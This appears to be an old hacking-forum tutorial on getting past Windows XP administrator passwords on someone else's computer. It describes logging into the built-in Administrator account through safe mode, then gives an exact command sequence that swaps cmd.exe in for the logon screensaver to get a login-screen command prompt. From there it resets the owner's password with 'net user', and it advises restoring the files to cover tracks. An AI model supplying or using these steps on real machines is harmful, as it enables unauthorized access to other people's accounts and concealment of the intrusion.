How to hack Windows XP Admin Passwords the easy way
------------------------------------------------------------------------------

 This hack will only work if the person that owns the machine has no intelligence. This is how it works:
When you or anyone installs Windows XP for the first time your  asked to put in your username and up to five others.
Now, unknownst to a lot of other people this is the only place in  Windows XP that you can password the default Administrator Diagnostic  Account. This means that to by pass most administrators accounts  on Windows XP all you have to do is boot to safe mode by pressing F8  during boot up and choosing it. Log into the Administrator Account  and create your own or change the password on the current Account.
This only works if the user on setup specified a password for the  Administrator Account.
 This has worked for me on both Windows XP Home and Pro.
-----------------------------------------------------------------------------
Now this one seems to be machine dependant, it works randomly(don't know why)
 If you log into a limited account on your target machine and open up a dos prompt then enter this set of commands Exactly:
(this appeared on www.astalavista.com a few days ago but i found that it wouldn't work  on the welcome screen of a normal booted machine)
-----------------------------------------------------------------------------
cd\ *drops to root cd\windows\system32 *directs to the system32 dir mkdir temphack *creates the folder temphack copy logon.scr temphack\logon.scr *backsup logon.scr copy cmd.exe temphack\cmd.exe *backsup cmd.exe del logon.scr *deletes original logon.scr rename cmd.exe logon.scr *renames cmd.exe to logon.scr exit *quits dos
-----------------------------------------------------------------------------
Now what you have just done is told the computer to backup the command program and the screen saver file, then edits the settings so when the machine boots the  screen saver you will get an unprotected dos prompt with out logging into XP.
Once this happens if you enter this command minus the quotes 
"net user password" If the Administrator Account is called Frank and you want the password blah enter this "net user Frank blah" and this changes the password on franks machine to blah and your in.
 Have fun
p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks
